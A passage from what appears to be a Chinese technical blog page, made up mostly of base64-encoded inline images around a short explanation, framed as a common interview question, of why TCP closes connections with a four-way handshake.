rXTltJy8UriMj/Vk5FWZJooseZIqZ4G44zTldWGVYEexoAdRSZzS0AFFFFABRRRQAUUUUAYfi8N/YMwBONybvpuFbMWBEmOmBVPW7Q32k3Nuv3nQ4+vUUzQL5b/SYZM/vFG2RT1DDigCzfWxu7Volba2QwJGcEEH+lSOWW2YldzBc7R3PpUtJQByS2V5YzQBY7ll4lmkibIGTkjb9fStjXUuLjTlazjdpQwZVyAf1FTajqkdjG5wXdNpKgc4JxSjU4ZbOeaBsmJSWDqVwcdx1oAydNhn/ALeklkjukD9RL0AA9Rx1JqW40eY+IHvUEZhkiKspHOcYxn+tV9M8WRSqTdAAEsQY1LYA9a3bi/ihs1ucgo23qccE4/rQBT0KyktopDLCkW9idoJJ6nHPpjFZOoaPcJfXs9sqrE5RhlQxZj1wSCasWWpahc3EYXcyNKwP7oBdoJBw2ea077VPsVysPkPKCm4lWUY59yKAL0oZoXCHDEEA+hrIt9Ee0TZbzco6yRmT5uduCD7YrTsrtL2381FZRkqVYYII60+4laGFpFjaTH8K9aAMy/0y5v7UQXM6YMob92uNoHbnrzWjaRyRW6xy7Cy8ZQYBH07U63nS4hWWI5RhkGpKAMfxY4Tw7dZ6sAo+pIrTtVKW0SnqEAP5Vgak41vWIdPhOYLVxJcN2J7LXSUALRRRQAVU1QA6bcA/88zVuqup/wDIOuOM/uz/ACoAxvCQwlzj1X+tdHXOeEeEuceq/wBa6OgAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACkpaKAEopaKAEoxRS0AJikp1JQAYopaKACiiigAooooAKKKKAIbw4s5v8AcP8AKsDwj1uBx0H9a37v/j0m7/If5VgeEj81wPYf1oA357aG5ULNGrgdM1RfQ7YndE0kLdijmtSigDLFlqMP+pvg49JFpDdanEf3loso9UatWkoAzU1mIHFxFLA3+0vFWotQtJv9XOhPpmp2RXGGUEe4qpLpVnN96FQfUcUAW1YN0OadWaNHSPmC4mi+jZFI1vqUXMN2sg9JE/rQBp0Vli41SLHmWiSj1R8U7+2Ej/4+LeaI+65oA0a5++s7rSb6TU9OQyxyf6+3Hf3HvWpHqtlKQFnXJ7HirSyxuPldT9DQBW07U7XUoRJbSBvVTwVPuKt1kX+gwzTG7s5GtLz/AJ6Rng/UdDVaO912wwt7Zrexj/lpAcN+IoAjudGvZNfN4rIYt2QSwyBtxgcevvWhZ2dysF005Tzp+x+YDAxz0zVQ+LtOQ7bmO5t29JIT/SpB4t0UjP21R9VP+FAGPDo98+nx/wCjCO8EhRsYUNH3z9a2tWs5b/SEVYQkoxhGUMV5pP8AhLNFA/4/U/BT/hWhY6laahAZ7SVZIxwSOMUAcxBp13a6ra7opSIm42glCGJzk5wMcVta/pkmoQwiFVJR8tkgEjB4zg1CfFVozsILa7nVTgvHFlc/Wj/hJQR8ml6g30hoA0NHt5baxEc6Kr7mYhWz1OatTrI8LLC4SQ9GIyB+FYw12+cfudCuz6byFpj3HiK7+WKzhsQerySCQj8BQBpo1vpVkqzTqiLnLuQMnqayZL6/1uRoNNQwWZ4a6ccsP9kVPB4cikdZtUnkvph/z0OEH0XpW0iKihVAAHAA7UAVdN06DTbVYIBwOSx6sfU1coooAKKKKACqupf8g+4/65n+VWqraj/x4T/9cz/KgDE8IH5Lke6/1rpK5rwh0ufqv9a6WgAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAiuv+PWX/AHD/ACrnvCP3rj6CuhuP+PeT/dP8q53wlxLc/QUAdPRRRQAUUUUAFFFFABRRRQAUhAPUZpaKAIHs7Z/vwRn6qKgfSbJukOw/7JIq9RQBmf2SUyYLy4jPYFsik8rVYR8ssMw/2lwa1KSgDL+1Xij/AEjT9wHdCDTBd6YDiaBYm9Hh/wDrVr0jKrDDKCPcUAUCLGeFzaLbNJg7cqOtc9ZW3iHT9PltorC3fzCxZxIAST3rppdLs5TkwKD6rwarnSXj5tryaL2J3CgCTRLD+ztJgtmA3ovzY9Tyav4FZiRarD0nhlA7MMGnfbL2L/XWLN7xtmgDSorMGtW6nEySxH/bWrMWoWkoBSdD7ZxQBaopAwYZBBFFAC0VVvbwWaozoxRmwWH8NWVYMoKnIPQ0ALRRRQAVWvxmxn/3D/KrNV77/jym/wBw/wAqAMPwkMC5x04/rXSVzPhHJNzk/wB3+tdNQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAR3H/HvJ/umud8Jf665+grpSARg9KjighhJMUSIT1KjGaAJaKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAGlQ3UA/WoJbC1m/wBZAhPrirNFAGY+i2+7dC0kJ/2WNKbG9j/1N8SB2dQa0qSgDEvJb6G3ZbpLeWMjB+baan8PvM1mRIDsB+Qn0qY6ZHJctNcMZsn5VbotXlUKAFAAHYUALRRRQAVXvv8Ajym/3D/KrFIQCMEZFAHNeED/AMfPp8v9a6amJFHHny0Vc9cDFPoAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAP/Z" alt="avatar"></p><h4><span id="tcp为什么需要四次挥手">TCP为什么需要四次挥手</span></h4><p>同样是面试中经常问的问题,简单来说就是当客户端发送FIN(断开连接)请求时服务器并不是马上断开连接,因为此时对方可能还处于数据的收发中,也就是说之前发送的数据可能还未接收完。</p><p>当客户端数据接收完毕后,会返回FIN和序号+1的回复表示已经接收完毕,可以断开连接了,此时服务收到这条回复才真的断开连接,借用一张图表示如下:</p><p><img src="data:image/jpeg;base64,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